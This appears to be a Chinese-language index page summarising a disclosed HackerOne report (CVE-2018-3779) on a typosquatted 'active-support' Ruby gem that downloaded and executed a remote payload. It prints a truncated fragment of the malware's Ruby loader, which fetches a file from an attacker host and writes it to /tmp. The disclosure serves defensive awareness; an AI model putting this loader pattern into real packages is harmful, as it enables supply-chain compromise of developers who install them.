POJIA破甲
地图 / Malware in `active-support` gem

Malware in `active-support` gem

代码执行 / 命令注入(通用) / #392311

厂商
RubyGems
严重程度
高危
赏金
—
弱点
命令注入(通用)
研究员
@reed
披露日期
2018-08-09
资产
rubygems.org
CVE
CVE-2018-3779

该报告还没有中文解读。

原文摘录

摘自原文(1124 字符中的一小部分)
The gem duplicates official `activesupport` (no hyphen) code, but adds a compiled extension. The extension attempts to resolve a base64 encoded domain (`29faea63.planfhntage.de`), downloads a payload, and executes.
原文中的代码
require 'net/http'
require 'uri'
require 'base64'
require 'resolv'

class Smectis
  def self.install_explot(weighership)
    if !weighership.nil? and weighership != '0.0.0.0'
      educable = Net::HTTP.get_response(URI('http://' + weighership + '/mimming'))
      File.open('/tmp/autosymbiontic', …

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 RubyGems 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @reed · 版权归作者与 RubyGems 所有

同类报告

H1514 Remote Code Execution on kitcrm using bulk customer update of Priority ProductsShopify · 2020-02-06Remote Code Execution on www.semrush.com/my_reports on Logo uploadSemrush · 2019-06-24Git flag injection - local file overwrite to remote code executionGitLab · 2019-12-19 · $12,000Privilege Escalation From user to SYSTEM via unauthenticated command executionUbiquiti Inc. · 2019-11-08BAD Code !Paragon Initiative Enterprises · 2016-11-04Local files could be overwritten in GitLab, leading to remote command executionGitLab · 2019-07-17 · $12,000